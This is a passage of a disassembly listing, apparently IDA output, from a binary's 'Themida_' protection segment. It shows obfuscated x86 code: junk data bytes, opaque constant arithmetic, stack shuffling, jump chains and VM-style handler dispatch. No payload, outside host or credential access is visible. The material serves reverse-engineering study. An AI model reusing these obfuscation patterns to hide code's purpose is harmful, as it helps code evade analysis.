dd 735868h, 24148900h, 0B217B050h, 0E9C230E6h, 7E7Dh, 1E19B951h
dd 0D9F74965h, 8E51E9h
db 0
; ---------------------------------------------------------------------------
loc_54754D: ; CODE XREF: Themida_:0054EBBEj
pop eax
jmp loc_548775
; ---------------------------------------------------------------------------
loc_547553: ; CODE XREF: Themida_:005462CCj
pop esp
jmp loc_54B0C1
; ---------------------------------------------------------------------------
db 21h, 0F0h, 0E9h
dd 0FFFFED71h, 665BCB80h, 0FFB252h, 4091E9D3h, 0EB800000h
dd 594E9F5h, 0EC830000h, 24348904h, 0BA525E54h, 4, 4E9D601h
db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
locret_54758B: ; CODE XREF: Themida_:00550505j
retn
; ---------------------------------------------------------------------------
dd 81B8E9h
db 0
; ---------------------------------------------------------------------------
loc_547591: ; CODE XREF: Themida_:0054AC72j
add esp, 4
add edx, 4
add edx, 4
push edx
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push dword ptr [edi+eax*4]
push dword ptr [esp]
mov eax, [esp]
jmp loc_545BAE
; ---------------------------------------------------------------------------
loc_5475BF: ; CODE XREF: Themida_:00545791j
and ecx, ebp
mov ebp, [esp]
push edx
jmp loc_547385
; ---------------------------------------------------------------------------
dw 5066h
dd 0C63005B0h, 0F3285866h, 80C3005Ah, 4CE9A6C3h
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5475DF: ; CODE XREF: Themida_:0054EE01j
push esi
mov esi, 53A13F91h
jmp loc_54EEE3
; ---------------------------------------------------------------------------
dw 0F66h
dd 686602B6h, 89660C07h, 5FE92404h
db 64h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5475FB: ; CODE XREF: Themida_:00547D20j
push edx
mov edx, 7C283729h
sub edx, 38BB0A5Eh
inc edx
or edx, 666C147Ah
xor edx, 23095B22h
sub edx, 2F63EEFAh
mov ecx, edx
jmp loc_547066
; ---------------------------------------------------------------------------
db 4Eh, 81h, 0F6h
dd 625C1350h, 254F681h, 91E95B29h
db 87h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_547633: ; CODE XREF: Themida_:00545DA9j
push eax
mov eax, esp
push ebx
mov ebx, 4
sub eax, 572B381Ch
add eax, ebx
add eax, 572B381Ch
jmp loc_545DBE
; ---------------------------------------------------------------------------
db 81h, 0E9h, 34h
dd 81F23A45h, 4D6813EBh, 115DE90Fh, 34FF0000h, 0EFE95A24h
dd 4000071h, 52595A36h, 127E6850h, 14890000h, 0FDE5E924h
dd 3E05FFFFh, 350DA53Ah, 90873FA2h, 48BC201h, 9DE95324h
db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54768F: ; CODE XREF: Themida_:005482C6j
mov edx, 51781BD4h
jmp loc_54B155
; ---------------------------------------------------------------------------
db 0F7h, 0DDh, 0C1h
dd 0DDF707E5h, 0C1FFED83h, 0C58108E5h, 0A71D59A4h, 0C15DEB09h
dd 0EB8107E3h, 0FE3F7704h, 1C8BDE89h, 7A2E924h, 0C1810000h
dd 4B61723Ah, 2FA5E981h, 0E95D454Bh, 39E5h, 0CB35AB1h
dd 0FFE26AE9h, 2474FFFFh, 24348B04h, 8F04C483h, 248B2404h
dd 24D36624h, 93E99C24h, 5AFFFFCEh, 51D6E9h, 1189B900h
dd 50BB3971h, 138F854h, 0D82959CBh, 58C1895Bh, 0C8BC801h
dd 4C48324h, 31240433h, 4332404h, 4015C24h, 5FE99C24h
dd 0BDFFFFCEh, 25FF1E2Bh, 14ABA52h, 0F28106A6h, 3A2D06Fh
dd 315AD529h, 242C8BEEh, 81E68956h, 4C6h, 4C68100h, 87000000h
dd 0ECE92434h, 81FFFFF8h, 5504246Ch, 0E968B71Eh, 0FFFFF2E3h
dd 57240C89h, 1BFh, 13426800h, 0A7E90000h, 0DFFFFE2h, 9DE651Bh
dd 0E470F225h, 62160568h, 0D0F758BCh, 7F2D932Dh, 58C5017Eh
dd 36F8E9h
db 0
; ---------------------------------------------------------------------------
loc_547799: ; CODE XREF: Themida_:0054A423j
not ebx
xchg ebx, esi
push edx
push ecx
mov ecx, 341B0553h
mov edx, 96F7454Bh
sub edx, ecx
pop ecx
sub edx, 6A363C3Ah
not edx
not edx
xor edx, 41652466h
add edx, 113ACAA9h
add esi, edx
pop edx
and ecx, esi
pop esi
shr ecx, 7
push 248Bh
mov [esp], ebx
jmp loc_5500D1
; ---------------------------------------------------------------------------
dd 8B24048Fh, 34FF2424h, 2434FF24h, 0A9E95558h, 0BD000030h
dd 0C4303ADh, 0BCFC57BAh, 61EA81F3h, 171451Fh, 61C281EAh
dd 0E971451Fh, 0FFFFED92h, 5BA868h, 243C8900h, 8A690ABFh
dd 38EF8110h, 556C7C4Ch, 3054D9BDh, 534D4D1Eh, 607AE7BBh
dd 781BE904h, 5A540000h, 457DE9h, 241C8900h, 42F0E9h, 64CF6800h
dd 14890000h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 4
mov [esp], ebx
mov ebx, 4
jmp loc_54D0FA
; ---------------------------------------------------------------------------
dd 0E92434FFh, 61FFh, 4C4815Ah, 0
dd 24148BF7h, 0A9BE9h, 5DE98900h, 0B0CEF181h, 0C801D467h
dd 2E91E9h, 0C8B6600h, 0E9545524h, 4FAh
; ---------------------------------------------------------------------------
loc_54788C: ; CODE XREF: Themida_:0054D4DAj
mov [esp], ebx
jmp loc_548208
; ---------------------------------------------------------------------------
dd 0D999E95Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54789A: ; CODE XREF: Themida_:0054BA45j
push dword ptr [esp]
jmp loc_546812
; ---------------------------------------------------------------------------
dw 34BEh
dd 53093F2Ah, 1591E9h
db 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push edi
push 507810C0h
pop edi
shr edi, 3
jmp loc_5466D3
; ---------------------------------------------------------------------------
aRsrk db '╟ЮИRk',0
align 2
dw 0EA81h
dd 4A9A44C3h, 18A0EA81h, 74E92550h, 4200006Ah, 4513C281h
dd 0BF577C47h, 61E54025h, 8106EFC1h, 0F816C1F7h, 0D9E93Dh
dd 34310000h, 24343324h, 2849E9h, 5BD80100h, 544BE9h, 0B4BBD00h
dd 0ED8127C4h, 399610E3h, 0E903EDC1h, 42ABh
; ---------------------------------------------------------------------------
loc_547918: ; CODE XREF: Themida_:00545F64j
add eax, 0E71E2DFEh
jmp loc_549D10
; ---------------------------------------------------------------------------
dw 5D56h
dd 0FFE942E9h, 240C89FFh, 16E9E5B1h, 81000049h, 0B3270DE3h
dd 74EB817Ch, 31D450F6h, 0E8015BDDh, 6849E9h, 7C4BE00h
dd 0F189037Bh, 5E2434FFh, 4C481h, 0C9810000h, 530B3E64h
dd 2743F181h, 7CE949F2h
db 14h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54796B: ; CODE XREF: Themida_:00545A2Cj
mov ecx, 3FAFAD1h
add edx, ecx
pop ecx
jmp loc_545B57
; ---------------------------------------------------------------------------
loc_547978: ; CODE XREF: Themida_:005467C8j
xchg ebx, [esp]
pop edx
push edi
push ecx
jmp loc_54AEF3
; ---------------------------------------------------------------------------
db 57h
dd 0C781E789h, 4, 48E0E9h, 243C3100h, 0E9243C33h, 7227h
dd 66E1F65Ch
db 0Fh, 0B6h, 0CCh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub esp, 4
mov [esp], eax
push 16973DAEh
pop eax
push esi
mov esi, 4E0515BDh
jmp loc_54F89B
; ---------------------------------------------------------------------------
dw 0BFE9h
dd 0F7FFFFCBh, 4EFC1DFh, 0EF81EFD1h, 9986B799h, 0E95FFA29h
dd 14E2h, 4C181h, 0C870000h, 78685C24h, 89000025h, 2EB7241Ch
dd 161DE9h, 0C4835D00h, 0CB88E904h, 5E5EFFFFh, 3302C183h
dd 0C31240Ch, 240C3324h, 6624248Bh
db 8Bh, 4, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_549458
; ---------------------------------------------------------------------------
db 0BBh
dd 3D0245C1h, 0DDC38143h, 0E9B1064Eh, 8B65h
; ---------------------------------------------------------------------------
loc_547A30: ; CODE XREF: Themida_:0054A60Dj
pop ecx
jmp loc_54A883
; ---------------------------------------------------------------------------
dw 1768h
dd 89000067h, 0B9512434h, 7A7E2E3Fh, 8159CE89h, 0FD2097E6h
dd 6EEC138h, 0FFCCB7E9h, 0EC8359FFh, 4490E904h, 77FF0000h
dd 59669D1Ch, 9C241CD3h, 0FFCB1DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_547A6D: ; CODE XREF: Themida_:0054AC8Ej
add esp, 4
shl ebx, 7
push ecx
mov ecx, 440F7B43h
xor ebx, ecx
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], eax
push ecx
push edx
mov edx, 11020CBDh
push esi
mov esi, 8D03026h
shl esi, 6
jmp loc_548E0E
; ---------------------------------------------------------------------------
db 33h
dd 248B241Ch, 24048924h, 0FFCADDE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_547AAD: ; CODE XREF: Themida_:00544C7Fj
xchg ecx, [esp]
jmp loc_54CC88
; ---------------------------------------------------------------------------
db 81h, 0EFh, 0EDh
dd 813F1425h, 380A5CC7h, 81F72935h, 380A5CEFh, 0EDC78135h
dd 0FF3F1425h, 815E2434h, 4C4h, 243C8700h, 0E924248Bh
dd 10B8h, 3F7F68h, 240C8900h, 1D3AE9h, 0EF805A00h, 5BF80023h
dd 0D624CA0Ch, 6ECCE9h, 24048700h, 2E45E95Ch, 0C3800000h
dd 0F88E94Fh, 5B0000h, 53E95AD3h
db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_547B1B: ; CODE XREF: Themida_:0054BF79j
pop eax
shr ebx, 5
push ecx
mov ecx, 8781BB2h
neg ecx
xor ecx, 0D2E44C9h
add ebx, ecx
mov ecx, [esp]
add esp, 4
and eax, ebx
push dword ptr [esp]
pop ebx
push 15A2h
jmp loc_548393
; ---------------------------------------------------------------------------
dd 81E28952h, 4C2h, 7D61E900h, 0DA290000h, 82B3E95Bh, 0EF890000h
dd 0E9F8315Dh, 2CAh, 689AE95Fh, 0C1810000h, 77B93EE2h
dd 0E981D901h, 77B93EE2h, 2C1815Bh, 87000000h, 685C240Ch
dd 6635h, 81241C89h, 4ECh, 24048900h, 0FFCA51E9h, 74FF51FFh
dd 0C8B0424h, 4C48124h, 8F000000h, 0F5C2404h, 7D68C8B6h
dd 89000049h, 0CBE9240Ch
db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_547BBF: ; CODE XREF: Themida_:0054907Cj
pop ecx
sub edi, 145D5390h
jmp loc_549E5D
; ---------------------------------------------------------------------------
db 81h
dd 7B5818F3h, 5BDD09E2h, 35E6E581h, 0DDF77128h, 0D1B9ED81h
dd 0EB29462Bh, 0E9008F5Dh, 80ECh
; ---------------------------------------------------------------------------
loc_547BEC: ; CODE XREF: Themida_:0054D615j
neg eax
or eax, 72473CC5h
jmp loc_54DD6E
; ---------------------------------------------------------------------------
dd 10E5E95Dh, 0FE880000h, 0E95AF488h, 83C6h, 0E92434FFh
dd 858Ch, 875EF229h, 76E92414h, 1000017h, 219E68C6h, 4890000h
dd 43E0B824h, 0FF5029A8h, 5158240Ch, 0FFFFFFB9h, 59C801FFh
dd 78E968h, 242C8900h, 0EF4E5BBDh, 29532D73h, 0E8296FE9h
dd 0E9295305h, 0C9E95D6Fh
db 88h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_547C57: ; CODE XREF: Themida_:00544970j
pop esi
push eax
push esi
push 2EF73561h
pop esi
neg esi
xor esi, 0D108CA9Bh
mov eax, esi
pop esi
jmp loc_548114
; ---------------------------------------------------------------------------
dd 0E95AD029h, 3D2h, 24048B66h, 0FFD96BE9h, 0C8966FFh
dd 0E93DB524h, 864Ch, 0CFBEE956h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_547C92: ; CODE XREF: Themida_:0054868Cj
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
push edx
jmp loc_54AC6D
; ---------------------------------------------------------------------------
dw 15Fh
dd 43359C8h, 24043124h, 0FFCA78E9h, 0A2EA81FFh, 1161208h
dd 0C3835AD3h, 241C3304h, 33241C31h, 248B241Ch, 2434FF24h
dd 0E1895158h, 674668h, 242C8900h, 4BDh, 0A5C18100h, 0E9454B2Fh
dd 74EEh, 4904F800h, 0B3B5515Bh, 2C59E828h, 4EC83ACh, 0E9241C89h
dd 58F6h, 4C481h, 0C3810000h, 4, 0FFF19AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_547D11: ; CODE XREF: Themida_:0054BA54j
pop edx
not ebp
sub ebp, 0FFFFFFFFh
sub esp, 4
mov [esp], ecx
jmp loc_5475FB
; ---------------------------------------------------------------------------
db 33h, 1Ch, 24h
aSvv db '\И╒v',0
align 2
aXsx db '╤∙Иx',0Ah,0
db 0
; ---------------------------------------------------------------------------
loc_547D35: ; CODE XREF: Themida_:00545838j
push eax
mov eax, 2919526Ah
jmp loc_54F427
; ---------------------------------------------------------------------------
loc_547D40: ; CODE XREF: Themida_:00549990j
push ecx
mov ecx, 70F22814h
mov ebx, 52AE16FEh
jmp loc_54F3D9
; ---------------------------------------------------------------------------
dd 0DCBA52ADh, 42354F03h, 0A9BD5542h, 0C1570348h, 0F58105E5h
dd 49690751h, 0E5C1D5F7h, 7DC58104h, 29BD1D3Eh, 0F2815DEAh
dd 379D9C9Eh, 2D525F05h, 6331E951h, 34FF0000h, 0E9555D24h
dd 7A76h, 0CDBA52h, 0BB532232h, 4BD5413h, 3114E9h
db 0
; ---------------------------------------------------------------------------
loc_547DA1: ; CODE XREF: Themida_:0054E080j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], cx
jmp loc_54D938
; ---------------------------------------------------------------------------
loc_547DB6: ; CODE XREF: Themida_:00544A65j
mov bh, ch
mov al, bh
jmp loc_5494C2
; ---------------------------------------------------------------------------
db 66h
dd 66241C31h, 66241C33h, 66241C31h, 6612C368h, 66241C89h
dd 66243487h, 8766D6F7h, 8B662434h, 0C768241Ch, 0E9000042h
dd 147Dh, 770DC2BAh, 5E2C135h, 7B22C281h, 4E95FE4h, 53FFFFEAh
dd 0B44CDABBh, 29EB817Ch, 292ADF53h, 0F8015BDFh, 83243C8Bh
dd 0C30104C4h, 582434FFh, 8104C483h, 1B28B5EBh, 81C32962h
dd 1B28B5C3h, 29A6E962h, 34FF0000h, 89535F24h, 4B850E3h
dd 1000000h, 0C38358C3h, 0CAA3E904h, 8966FFFFh, 0C7E92404h
dd 68000057h, 7761h, 0FFE283E9h, 0E95266FFh, 6837h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
add edi, 3EFC34ADh
sub edi, 7D0830E0h
sub edi, esi
jmp loc_54BCE1
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFFC6FEh, 0C581D5F7h, 56400207h, 0CAE9EF01h, 5EFFFFEFh
dd 5C24048Fh, 3108E8C1h, 721068C8h, 2AE90000h
db 33h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_547EAF: ; CODE XREF: Themida_:005452DFj
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
push dword ptr [esp]
pop eax
jmp loc_54A2CF
; ---------------------------------------------------------------------------
dd 7D92E281h, 0DAF74B0Eh, 0F705E2C1h, 0EA81D2h, 0E9A4E685h
dd 293h
; ---------------------------------------------------------------------------
loc_547ED8: ; CODE XREF: Themida_:0054566Ej
xor ebp, edi
jmp loc_550663
; ---------------------------------------------------------------------------
aXsa db 'XИA"',0
dd 0C8B6600h, 23306824h, 34890000h, 0C5E95424h
db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_547EF7: ; CODE XREF: Themida_:0054D55Cj
add esi, 4
xchg esi, [esp]
pop esp
push 6A08h
mov [esp], eax
mov eax, 0EBE7E38h
mov [edx+38h], eax
mov eax, [esp]
add esp, 4
sub [edx+38h], ecx
jmp loc_545E3A
; ---------------------------------------------------------------------------
dw 8966h
dd 5FE92404h, 29FFFFC6h, 0C335DE9h, 240C3124h, 5C240C33h
dd 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFFC642h, 0C581E589h
dd 4, 797CE9h, 0F0B05000h, 53E2B450h, 0C7E9E788h, 0FFFFFFEEh
dd 0FF042474h, 575E2434h, 0FFE9F1E9h, 0C614E9FFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_547F76: ; CODE XREF: Themida_:0054F1A8j
add ebp, 4
add ebp, 2
jmp loc_54E366
; ---------------------------------------------------------------------------
db 0F7h
dd 3E8C1D8h, 504F35h, 58C1011Eh, 0DA97E951h, 0C481FFFFh
dd 4, 3304C283h, 14312414h, 24143324h, 0FFD828E9h, 1AC381FFh
dd 890C403Ch, 0F6815BDEh, 60ADEFDh, 3DB7E9h, 20685500h
dd 8900001Eh, 4812424h, 424h, 242C8B00h, 4C481h, 0E9500000h
dd 0FFFFF4A1h
; ---------------------------------------------------------------------------
loc_547FE4: ; CODE XREF: Themida_:0054ECF1j
xor edi, 681394D1h
jmp loc_5481B7
; ---------------------------------------------------------------------------
db 8Bh
dd 0EC81241Ch, 4, 89240489h, 405E0h, 4050000h, 87000000h
dd 3EE92404h, 28000015h, 44D9E9F8h, 585B0000h, 0F6CAFE5Bh
dd 6D52E9D2h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_548022: ; CODE XREF: Themida_:0054D5E1j
push edi
jmp loc_54F716
; ---------------------------------------------------------------------------
dd 4EC81h, 3C890000h, 59DCBF24h, 0CAE9221Ch, 5A000039h
dd 31243433h, 34332434h, 344FE924h, 0EC680000h, 89000073h
dd 44E9243Ch
db 72h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_548057: ; CODE XREF: Themida_:005483B7j
mov ecx, 65FE0AC2h
add ecx, 0FFFFFFFFh
jmp loc_5467EC
; ---------------------------------------------------------------------------
dd 0D2F7D787h, 5250D787h, 0E96353BAh, 564FE945h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_548076: ; CODE XREF: Themida_:0054FE78j
mov eax, [esp]
push eax
jmp loc_547207
; ---------------------------------------------------------------------------
db 0BEh
dd 28AE779Ah, 4244481h, 6CD146D5h, 5234B951h, 4C297AB0h
dd 0E9590824h, 0FFFFE3C0h
; ---------------------------------------------------------------------------
loc_54809C: ; CODE XREF: Themida_:0054A750j
xor ebx, ecx
pop ecx
jmp loc_5454B9
; ---------------------------------------------------------------------------
loc_5480A4: ; CODE XREF: Themida_:0054C8C3j
sub eax, ecx
pop ecx
mov ebx, eax
pop eax
push edx
mov edx, 25E47A85h
sub edx, 1E08146Bh
add edx, 0FCE6B038h
jmp loc_5496D1
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
dd 6F86824h, 1C890000h, 59E95424h, 87000055h, 248B2404h
dd 0BB0F6624h, 0E99C2404h, 0FFFFC4A6h, 0B9240C89h, 589854DFh
dd 5D59C801h, 31240433h, 4332404h, 24248B24h, 4BB0F66h
dd 83E99C24h, 50FFFFC4h, 4055854h, 0E9000000h, 74E2h
; ---------------------------------------------------------------------------
loc_548114: ; CODE XREF: Themida_:00547C6Bj
add esi, eax
mov eax, [esp]
jmp loc_55063E
; ---------------------------------------------------------------------------
loc_54811E: ; CODE XREF: Themida_:0054E413j
or edi, 147F7102h
add edi, 72B215ACh
sub edi, 6CA24423h
jmp loc_54E029
; ---------------------------------------------------------------------------
db 56h, 0BEh, 38h
dd 0E9000000h, 10B1h, 56241C89h, 9E1AFFBEh, 2474317Ch
dd 24348B04h, 81E78957h, 4C7h, 4C78100h, 87000000h, 8B5C243Ch
dd 79E92404h, 89FFFFF9h, 0D8315AD3h, 5E98685Bh, 34890000h
dd 3677E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54817E: ; CODE XREF: Themida_:0054D512j
sub al, bh
pop ebx
add al, 0EEh
add al, bl
sub al, 0EEh
jmp loc_54BDAB
; ---------------------------------------------------------------------------
dd 405h, 4BF5700h, 0E9000000h, 0FFFFD1CDh, 4C5815Dh, 83000000h
dd 0D76804EDh, 89000066h, 74FF242Ch, 7BE90424h
db 70h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5481B7: ; CODE XREF: Themida_:00547FEAj
add ebp, edi
mov edi, [esp]
add esp, 4
push ecx
mov ecx, 7AF55674h
or ecx, 39503F96h
not ecx
inc ecx
jmp loc_54583D
; ---------------------------------------------------------------------------
db 80h
dd 0EA8001EAh, 0E9362CB5h, 6958h, 68241489h, 642h, 50242C89h
dd 0FFED49E9h, 2C77FFFFh, 0FFC391E9h, 24348BFFh, 3790E9h
dd 0E9D7F700h, 0FFFFCA08h
; ---------------------------------------------------------------------------
loc_548208: ; CODE XREF: Themida_:0054788Fj
add dword ptr [esp], 6FEE74B5h
mov ebp, [esp]
add esp, 4
push 12DCh
mov [esp], esi
mov esi, 6FEE74B5h
sub ebp, esi
mov esi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
mov eax, ebp
push dword ptr [esp]
pop ebp
add esp, 4
push ebp
mov ebp, 6EB7721Ah
jmp loc_548BC0
; ---------------------------------------------------------------------------
loc_548251: ; CODE XREF: Themida_:0054D505j
mov [esp], esi
mov esi, esp
push eax
mov eax, 4
push edi
mov edi, 79095E5Bh
sub esi, edi
pop edi
add esi, eax
add esi, 79095E5Bh
pop eax
add esi, 4
push 754Dh
mov [esp], esi
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
jmp loc_54ACB9
; ---------------------------------------------------------------------------
loc_548291: ; CODE XREF: Themida_:0054FC02j
add esp, 4
add esp, 4
or edx, eax
shl edx, 1
push 413Ch
mov [esp], esi
mov esi, esp
push eax
mov eax, 4
add esi, eax
pop eax
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebp
mov ebp, 2BC85872h
not ebp
push edx
jmp loc_54768F
; ---------------------------------------------------------------------------
db 8Bh
dd 0F7662424h, 0E38953F9h, 5353BA52h, 0F8E948F7h, 5BFFFFF5h
dd 0D8005A66h, 8904EC83h, 55B7241Ch, 0F828382Ch, 515B3804h
dd 0C8282AB1h, 7529E9h
db 0
; ---------------------------------------------------------------------------
loc_5482FD: ; CODE XREF: Themida_:0054E50Bj
sub eax, 5BF91F1Ch
xor eax, 0F114BCEDh
jmp loc_54BF77
; ---------------------------------------------------------------------------
dd 4C481h, 0B4500000h, 6C49E9BFh, 0F7010000h, 0E92434FFh
dd 0FFFFD58Fh
; ---------------------------------------------------------------------------
loc_548324: ; CODE XREF: Themida_:0054E38Dj
xchg eax, [esp]
pop esp
movzx eax, al
push dword ptr [edi+eax*4]
jmp loc_54458A
; ---------------------------------------------------------------------------
db 8Bh
dd 0EC812404h, 4, 0E9240489h, 0FFFFEBC0h, 0E947D7F7h, 0FFFFFAB3h
dd 0E9535954h, 7E06h, 0BB241C89h, 3Ch, 255CBA52h, 0D301115Ah
dd 0E924148Bh, 0FFFFDE81h, 240C8B66h, 51E08950h, 63DDE9h
dd 8BD70100h, 0C4832414h, 6EC78104h, 12D39E4h, 0E224E9FEh
dd 0F7E9FFFFh
db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548393: ; CODE XREF: Themida_:00547B43j
mov [esp], ebx
mov ebx, esp
add ebx, 4
push ebp
mov ebp, 4
add ebx, ebp
mov ebp, [esp]
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
or edx, eax
shl edx, 1
push ecx
jmp loc_548057
; ---------------------------------------------------------------------------
dd 0FF2434FFh, 48B2434h, 6080E924h, 0E9590000h, 0FFFFC943h
dd 0BF57595Bh, 74844959h, 5602C781h, 685368AEh, 4E3C4040h
dd 3389E9h
db 0
; ---------------------------------------------------------------------------
loc_5483E9: ; CODE XREF: Themida_:00544A46j
add esi, eax
jmp loc_550555
; ---------------------------------------------------------------------------
loc_5483F0: ; CODE XREF: Themida_:0054AF03j
add edi, 2AC47220h
sub edi, ecx
sub edi, 2AC47220h
jmp loc_54EA63
; ---------------------------------------------------------------------------
db 8Fh
dd 545C2404h, 0E924048Fh, 5182h, 8B242C87h, 8B662424h
dd 0C968240Ch, 0E9000020h, 0FFFFE654h, 0B54FF381h, 0DA89AC17h
dd 0CBE95Bh, 0E2890000h, 4C281h, 0E9E90000h, 8700004Eh
dd 525C2414h, 17191EBAh, 8BD72159h, 0C4832414h, 6BD5504h
dd 52480700h, 9057A0BAh, 0CBF2812Eh, 0C14E4F54h, 554208EAh
dd 292166BDh, 5DEA2906h, 4222EA81h, 0D729C7B5h, 8324148Bh
dd 0EF2904C4h, 7B7CC781h, 71E93282h
db 5Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54848B: ; CODE XREF: Themida_:0054F5D8j
shr edi, 2
jmp loc_5472C1
; ---------------------------------------------------------------------------
db 81h
dd 3D31F9CBh, 0BA524B69h, 1F1C4242h, 15CAE9h
db 0
; ---------------------------------------------------------------------------
loc_5484A5: ; CODE XREF: Themida_:005447A2j
add ecx, 4
jmp loc_547311
; ---------------------------------------------------------------------------
loc_5484B0: ; CODE XREF: Themida_:00545E00j
pop eax
push ebp
jmp loc_54AE6B
; ---------------------------------------------------------------------------
db 81h
dd 2525CFEDh, 5DEF31ACh, 4F08E7C1h, 0CF87D7F7h, 0CF87D1F7h
dd 63F5E9h, 0B0505800h, 58C1008Ah, 0F603E980h, 0F4E980D9h
dd 3059CA88h, 24148BD0h, 3004C483h, 0C0B60FC3h, 0B176866h
dd 24048966h, 0FFC08DE9h, 1C281FFh, 42000000h, 0FFEE2EE9h
dd 242C89FFh, 2BDh, 5FE98100h, 11B5E10h, 5FC181E9h, 5D1B5E10h
dd 31240C33h, 0C33240Ch, 727AE924h, 34890000h, 0C57BE924h
dd 8B66FFFFh, 9D682404h, 0E900007Dh, 650h, 0FB89C781h
dd 0FB297D11h, 8BD8295Fh, 5450241Ch, 51B1E958h, 0E9810000h
dd 92E8A1E2h, 6859C801h, 3FF2h, 52241C89h, 1F72BDBAh, 0C2814A7Ah
dd 34DD7046h, 3295E281h, 0C1E91C3Bh
db 2Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_548583: ; CODE XREF: Themida_:00546B71j
add edi, ecx
add edi, 6A6D05D6h
sub esp, 4
mov [esp], ecx
mov ecx, 70596B11h
add edi, ecx
pop ecx
jmp loc_54CE8A
; ---------------------------------------------------------------------------
db 66h, 8Bh, 0Ch
dd 4EC8324h, 68241C89h, 2A55h, 0F7EE954h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5485B6: ; CODE XREF: Themida_:00545208j
push ebx
mov ebx, 507D4FE2h
add ebx, 11D95965h
not ebx
shr ebx, 7
push ebx
dec dword ptr [esp]
pop ebx
dec ebx
push esi
jmp loc_55003D
; ---------------------------------------------------------------------------
db 5Fh
dd 4C781h, 0BD550000h, 4, 575DEF29h, 42474FFh, 24048F5Fh
dd 734AE95Ch, 54510000h, 74DDE959h, 0F9BA0000h, 8921A436h
dd 0C3215AD0h, 582434FFh, 4C481h, 0EB810000h, 4E135C8Bh
dd 8103E3C1h, 79B19CC3h, 5BDF0167h, 5702C783h, 42474FFh
dd 3CFCE95Fh, 875C0000h, 0FF5C241Ch, 50E92434h, 5D000016h
dd 0EE81CE29h, 38A01835h, 24348759h, 29DAE9h, 2EADBB00h
dd 43437D51h, 8107E3C1h, 92D711EBh, 5BDA0188h, 6853E9h
dd 77E52D00h, 0BBE9008Dh
db 28h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54866F: ; CODE XREF: Themida_:0054BF37j
pop ebp
sub esp, 4
mov [esp], ebx
mov ebx, 344A16BFh
xor ebp, ebx
pop ebx
and eax, ebp
pop ebp
or eax, eax
jz loc_546082
push dword ptr [edi+28h]
jmp loc_547C92
; ---------------------------------------------------------------------------
db 81h, 0C3h, 4
dd 51000000h, 8904EC83h, 0DBA2414h, 811B1D60h, 0CA1F60CAh
dd 0C1DAF731h, 0EAC103E2h, 0C2814A05h, 7101F8B5h, 0E95AD189h
dd 71E6h
; ---------------------------------------------------------------------------
loc_5486C0: ; CODE XREF: Themida_:00544C89j
add esp, 4
sub edi, 5D1D3F30h
jmp loc_54EC58
; ---------------------------------------------------------------------------
dw 0C0B1h
dd 80EAC180h, 0C82075C1h, 165FE9h, 4C48100h, 81000000h
dd 0DC1F01C3h, 0B5C38141h, 810C7048h, 0C764E2EBh, 0E9C3014Bh
dd 6FC6h, 8124048Bh, 4C4h, 0D9F58100h, 17B7753h, 0FF575DEFh
dd 0E9042474h, 1AD3h, 0FA17E950h, 8166FFFFh, 0E9576CF7h
dd 0FFFFD2D4h
; ---------------------------------------------------------------------------
loc_548728: ; CODE XREF: Themida_:005457D4j
mov eax, edx
push dword ptr [esp]
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
add esp, 4
push ebp
push ebx
push 60BE0700h
jmp loc_54FEA9
; ---------------------------------------------------------------------------
dw 433h
dd 24043124h, 8B240433h, 2BE92424h, 55FFFFBEh, 6DB5BB53h
dd 0D3F75320h, 292FE381h, 0E3D11884h, 32F7E9h
db 0
; ---------------------------------------------------------------------------
loc_548775: ; CODE XREF: Themida_:0054754Ej
add eax, 4
add eax, 4
push eax
jmp loc_54F3B0
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 24048F00h, 0E9F1F65Ch, 7A7Dh
; ---------------------------------------------------------------------------
loc_548794: ; CODE XREF: Themida_:0054D85Aj
